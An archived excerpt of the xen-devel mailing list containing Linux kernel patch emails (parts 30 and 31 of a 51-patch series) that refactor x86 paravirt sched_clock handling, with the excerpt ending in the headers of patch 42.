From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350557.1608087 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hE-0003Y0-MZ; Wed, 01 Jul 2026 19:34:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350557.1608087; Wed, 01 Jul 2026 19:34:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hE-0003Xq-IM; Wed, 01 Jul 2026 19:34:08 +0000
Received: by outflank-mailman (input) for mailman id 1350557;
 Wed, 01 Jul 2026 19:34:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3cGtFagYKCbUnZVieXbjjbgZ.XjhsZi-YZqZggdnon.sZikmjeZXo.jmb@flex--seanjc.bounces.google.com>)
 id 1wf0hD-0003ST-9u
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hC-003oMF-N4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:06 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3cGtFagYKCbUnZVieXbjjbgZ.XjhsZi-YZqZggdnon.sZikmjeZXo.jmb@flex--seanjc.bounces.google.com>)
 id 6a456b8a-2eae-0a2a0a5409dd-0a2a4506ddcc-30
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:06 +0200
Received: from [209.85.214.201] (helo=mail-pl1-f201.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3cGtFagYKCbUnZVieXbjjbgZ.XjhsZi-YZqZggdnon.sZikmjeZXo.jmb@flex--seanjc.bounces.google.com>)
 id 6a456b71-08de-0a2a45060019-d155d6c9e039-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:06 +0200
Received: by mail-pl1-f201.google.com with SMTP id
 d9443c01a7336-2c9e9cb6a44so8480265ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934384; x=1783539184; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=FLdcwKjpeRYfRUJ5L0VC2fjzpWNaPddOoI275jwJM8U=;
        b=LpaxJwt01QnGB9s/FJttE5dmx825dvyOlzYnjhqm7jCNYW5a6JqneWgmIhY6lIs+mw
         En9N/ho0rTu1mCeoLIh6EVe81vK9ZP0BAFHhhnyfJm+QuBCBmUL9+e8PkklvzmUH5Ado
         OnAP2KcuxKkAwF5WYx4aLSvL24/fHepkF+YMTIwWi3snl8fxSu2qSgaIhfcG9RATNZq8
         7GkjOwKe523lGqG8FbceEGTjrF9uL65tlldyLQd4wESF5twQB28KT9l5ptAoDKrfG7K1
         mCLdlOY2H1waicOx519ewlvk5xHWtt/O3hKkk02CLKbXmY6z9ww+L5YYX2hSEVGjPJ9K
         yIVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934384; x=1783539184;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=FLdcwKjpeRYfRUJ5L0VC2fjzpWNaPddOoI275jwJM8U=;
        b=Ma3K6fZ6NDJdxinc7WMywPMdeSvTxfdqtsBpokX/vNojCf1RtDR6rTz2lJ1WVnwEwS
         iaqM5hjFwNhjaLCD7WGMgi617X12Owj6KZDBXSb7BrvO1owBvfEVvRbXUIQxoCFCMSuR
         V5wBIX0IyVtu2fY+nMg/mMF/y1Fa771cyEnTpNJ4gOzpzHcoNZXE00tsdfm+AnUYQ126
         t3l2IW9VoaYEx6bp4mBg1PBhZ0vx8EkUs+fT1fk1DtHuPmzKPISdFSe2aDNuQOJvvWOq
         phH+3RZQCkP+r+ozpAdIwlQq9bkbS4U36F2/tS0MenzFHBWUrHiVzdgHNYpQ4Adsn5yD
         8g+Q==
X-Forwarded-Encrypted: i=1; AHgh+Rqk52QtUw7XaYbupYmTvkiBzg7oWdr+10ToXR1SviLJBMTUsPodKZXtHPByVVwWLG2oPZDpADy0aXA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxeRis6UYlxY1J3g4SL/qULo0lsEf+CZpW6rU5r2J0nUvlNpzqW
	8wRzDLRlYEZ2JJT8vmBb3HqCJrUNv0N520nMYaA6bEqrgb7lmOb193ARuiEbQrNOCCIOb0IbG/N
	A69+KLg==
X-Received: from plsq11.prod.google.com ([2002:a17:902:bd8b:b0:2c9:dc0d:6834])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:f551:b0:2bf:7b62:a038
 with SMTP id d9443c01a7336-2ca9112b126mr20357335ad.9.1782934384220; Wed, 01
 Jul 2026 12:33:04 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:51 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-31-seanjc@google.com>
Subject: [PATCH v5 30/51] x86/paravirt: Remove unnecessary PARAVIRT=n stub for paravirt_set_sched_clock()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934386-C732668D-EC08C5D9/13/0
X-purgate-type: clean
X-purgate-size: 1574

Remove the unnecessary paravirt_set_sched_clock() stub for PARAVIRT=n, as
all callers are gated by PARAVIRT=y.  Eliminating the stub will avoid a
pile of pointless churn as the "real" implementation evolves.

No functional change intended.

Fixes: 39965afb1151 ("x86/paravirt: Move paravirt_sched_clock() related code into tsc.c")
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h | 3 +++
 arch/x86/kernel/tsc.c        | 1 -
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index fda18bcb19b4..c71b466d6ace 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -12,7 +12,10 @@ extern void recalibrate_cpu_khz(void);
 extern int no_timer_check;
 
 extern bool using_native_sched_clock(void);
+
+#ifdef CONFIG_PARAVIRT
 void paravirt_set_sched_clock(u64 (*func)(void));
+#endif
 
 /*
  * We use the full linear equation: f(x) = a + b*x, in order to allow
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 56e73e96920a..375b0279df66 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -288,7 +288,6 @@ void paravirt_set_sched_clock(u64 (*func)(void))
 u64 sched_clock_noinstr(void) __attribute__((alias("native_sched_clock")));
 
 bool using_native_sched_clock(void) { return true; }
-void paravirt_set_sched_clock(u64 (*func)(void)) { }
 #endif
 
 notrace u64 sched_clock(void)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350559.1608096 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hG-0003qx-Bs; Wed, 01 Jul 2026 19:34:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350559.1608096; Wed, 01 Jul 2026 19:34:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hG-0003po-5l; Wed, 01 Jul 2026 19:34:10 +0000
Received: by outflank-mailman (input) for mailman id 1350559;
 Wed, 01 Jul 2026 19:34:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3cWtFagYKCbYoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 1wf0hE-0003WA-GG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hD-00BqTu-TS
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3cWtFagYKCbYoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 6a456b8d-bab6-0a2a0a5309dd-0a2a450b89ee-34
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:07 +0200
Received: from [209.85.214.201] (helo=mail-pl1-f201.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3cWtFagYKCbYoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 6a456b72-ac48-0a2a450b0019-d155d6c9e4d6-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:07 +0200
Received: by mail-pl1-f201.google.com with SMTP id
 d9443c01a7336-2c81c7421abso19964455ad.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934386; x=1783539186; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=E6ig/L0f6Bi8iYQ5fSK4jpuHUho56x4PQqpcZJJeUg4=;
        b=k6si1nXEP9jsax29d2Ai1DzSnZ1UEnEv9lA0DySdekTMnbxH3lXtKcN94ls48mbuwp
         dDT37+rzjj8M0AD4U7S08OPDZfkQ6YFjvd7WV4hmMy3Y+8JSFlVqFqJ6kjgq0ysdvWP0
         bjxZvCIDZC066TP7K//HtwE3eJXerHg24iFc+FJr4LZqAGncglB9OCYuzPHZ/VCHYlpE
         nkVMQOzEN/no9grl31LFMTLf8y+20LMJVWLWuTaJ8rppIL8iWg1VnP/SXh3WiclDUGaf
         eaXL9jA/uGJvMHJVx3aaoNtKL5DWdMWNwTMHOSG9hxddsqaA6tClbOTqh00FRuXqfxrZ
         H19g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934386; x=1783539186;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=E6ig/L0f6Bi8iYQ5fSK4jpuHUho56x4PQqpcZJJeUg4=;
        b=ZKrnDZp9gV724NqNspv2N0UAwSZhL/sVDmpFBNnSANh+1dG39d/sHKtBsBQER7rkhH
         PZZ6OoA6RI6luS1qjflDa5GnwJ7j90ARY3eM3JsVmpBQzF9hO41Yl7y99A/QL4FhlSxD
         l4B+RCtkobOtEsuJJg8JfeASxZAsxIG/Gbutak8z1u1fVawVHhNo0CItuqDnUoBFtToM
         M4TZXSeM2jV9bYYqldYk40il4ssftnxI2UBBi6bq7yrHLj3ybheAE+CGTWj6dk8waxES
         o3FgNH1Xd5sz+kyLnetnEJfsPMUKEiGE3/qWpalUiejyGYW5VMdorixDdahj5T+pWMSL
         oW+A==
X-Forwarded-Encrypted: i=1; AHgh+RrquGFB+Q8e3cM9oVqB7+W4o1xIsNRRuO7KPEUEgP2ztQTS9+d8EXWZ7Lh2Lmes3tsf1aB6z+TRz5w=@lists.xenproject.org
X-Gm-Message-State: AOJu0YymyOF5vXAivBOmblT5dMuWvbUQwo4j+izQs4jVYxpUlHVvKvQn
	JNhpK/1UEpaWbRIBybkapQiEDwtQQWCm4bPuezKsGRADILwCCiZest5A83RibYCzwHvos2KvCDM
	1BIcTWg==
X-Received: from plbmt13.prod.google.com ([2002:a17:903:b0d:b0:2c6:b7bd:4804])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:1acb:b0:2c9:c54a:7915
 with SMTP id d9443c01a7336-2ca91140306mr23508775ad.14.1782934385462; Wed, 01
 Jul 2026 12:33:05 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:52 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-32-seanjc@google.com>
Subject: [PATCH v5 31/51] x86/paravirt: Move handling of unstable PV clocks
 into paravirt_set_sched_clock()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-42698a/1782934387-A6B38220-66DF81F0/13/0
X-purgate-type: clean
X-purgate-size: 2573

Move the handling of unstable PV clocks, of which kvmclock is the only
example, into paravirt_set_sched_clock().  This will allow modifying
paravirt_set_sched_clock() to keep using the TSC for sched_clock in
certain scenarios without unintentionally marking the TSC-based clock as
unstable.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h | 7 ++++++-
 arch/x86/kernel/kvmclock.c   | 5 +----
 arch/x86/kernel/tsc.c        | 5 ++++-
 3 files changed, 11 insertions(+), 6 deletions(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index c71b466d6ace..fe41d40a9ae6 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -14,7 +14,12 @@ extern int no_timer_check;
 extern bool using_native_sched_clock(void);
 
 #ifdef CONFIG_PARAVIRT
-void paravirt_set_sched_clock(u64 (*func)(void));
+void __paravirt_set_sched_clock(u64 (*func)(void), bool stable);
+
+static inline void paravirt_set_sched_clock(u64 (*func)(void))
+{
+	__paravirt_set_sched_clock(func, true);
+}
 #endif
 
 /*
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index a3ec298d56d7..4bc0495f1f9e 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -12,7 +12,6 @@
 #include <linux/hardirq.h>
 #include <linux/cpuhotplug.h>
 #include <linux/sched.h>
-#include <linux/sched/clock.h>
 #include <linux/mm.h>
 #include <linux/slab.h>
 #include <linux/set_memory.h>
@@ -115,10 +114,8 @@ static noinstr u64 kvm_sched_clock_read(void)
 
 static inline void kvm_sched_clock_init(bool stable)
 {
-	if (!stable)
-		clear_sched_clock_stable();
 	kvm_sched_clock_offset = kvm_clock_read();
-	paravirt_set_sched_clock(kvm_sched_clock_read);
+	__paravirt_set_sched_clock(kvm_sched_clock_read, stable);
 
 	pr_info("kvm-clock: using sched offset of %llu cycles",
 		kvm_sched_clock_offset);
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 375b0279df66..a762cb5cec0f 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -280,8 +280,11 @@ bool using_native_sched_clock(void)
 	return static_call_query(pv_sched_clock) == native_sched_clock;
 }
 
-void paravirt_set_sched_clock(u64 (*func)(void))
+void __paravirt_set_sched_clock(u64 (*func)(void), bool stable)
 {
+	if (!stable)
+		clear_sched_clock_stable();
+
 	static_call_update(pv_sched_clock, func);
 }
 #else
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350582.1608104 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hR-0004wl-PM; Wed, 01 Jul 2026 19:34:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350582.1608104; Wed, 01 Jul 2026 19:34:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hR-0004wE-L4; Wed, 01 Jul 2026 19:34:21 +0000
Received: by outflank-mailman (input) for mailman id 1350582;
 Wed, 01 Jul 2026 19:34:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3fmtFagYKCcM1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 1wf0hR-0004tu-79
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hQ-003oMF-Jj
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:20 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3fmtFagYKCcM1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 6a456b8a-2eae-0a2a0a5409dd-0a2a4506ddcc-40
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:20 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3fmtFagYKCcM1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 6a456b7f-08de-0a2a45060019-d155d6cadd4e-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:20 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c8284701c2so12109495ad.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934398; x=1783539198; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=E0Ky72UXh2AIoPVqIZkO5elKJbkXgXhRlg1eH2WcetI=;
        b=GFyGpFcTx6NJOCSfhaCac676LFfEbVdEv79OwSkQ2jclux4tFeJxL6d3KzgbMyRsjd
         49bqjq9n+xk2O7dzT0el3Ms1dsvq9Eaj/3wE78OPVH8M74nHYDfCF6rKTvBsERWj1Tqx
         pW3ao0CApqyFTeIMh9y3+4U5KgZ3oIXu37n3gPEXCxGFaXyP9+UuP73XbkonS24hT1O6
         +PbmjtTJo/kFgqDBt4PImShS+LfnGF7HccQSCbOtvD3lmEtPvBBHT0WR7pzqA7P0CuAr
         QyyVj+rAlg7Av2os5MvmWEFuHg//aYeeJUFCLwla2q0idtBmh6DruMQSAY+4Di/OlCmN
         DrLA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934398; x=1783539198;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=E0Ky72UXh2AIoPVqIZkO5elKJbkXgXhRlg1eH2WcetI=;
        b=rGwPa1leg52sdn3/t0fIsf73bSJ0h3c0n/lr9Cu3/vpy1zEPGlbdtkyDv7tLviV53O
         PMghVcWeCk2GBXtA40GrdZTUXVaB0yPA9VVU7tpRT0Say1g5A6Rs94Uhtk1JSbIOOLgK
         renkl7iiUEsGDsBNRyOmPDuqMz9V9o/Xme9F64I4t76JOwsfvGrfSglhIqxjpp6C3I1Z
         Hk29ZlKL1f+Ne2RBqmniPfHsKq5nvOlWuNl6YG/ctgzDuOfySiOlm4iq8g7qtrl9W/Pu
         TnR6cxPqPptmk8xNd9TqsqqJURJgNNH1aiwfsuDd2pZ7NdpCYnlJEB6drgoorDkkPi+J
         Mi5A==
X-Forwarded-Encrypted: i=1; AHgh+RpJOViCMPufv0+d3RkhHqSLkHfZIqJsVD4tjqKLnb3HC5O85ebUvxSYIWL+GOvC8CVsm3EydRTJjsM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwkcTVCLzod+8wLbTn9S7xWo5dUdBRBoQEnrnYCDsDn4p6HWPZ7
	ulDwhP/tOPKOHUOIHiqieSRITajGyxaYJSc1UunEHbzWodhsfzrBc8dKxg38ghcH1iNFnD7FvUc
	H2UOdew==
X-Received: from pleu6.prod.google.com ([2002:a17:903:41c6:b0:2c8:5a:8056])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:3885:b0:2ca:17a8:cfce
 with SMTP id d9443c01a7336-2ca911d341fmr20775345ad.29.1782934398119; Wed, 01
 Jul 2026 12:33:18 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:03 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-43-seanjc@google.com>
Subject: [PATCH v5 42/51] timekeeping: Resume clocksources before reading
 persistent clock
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
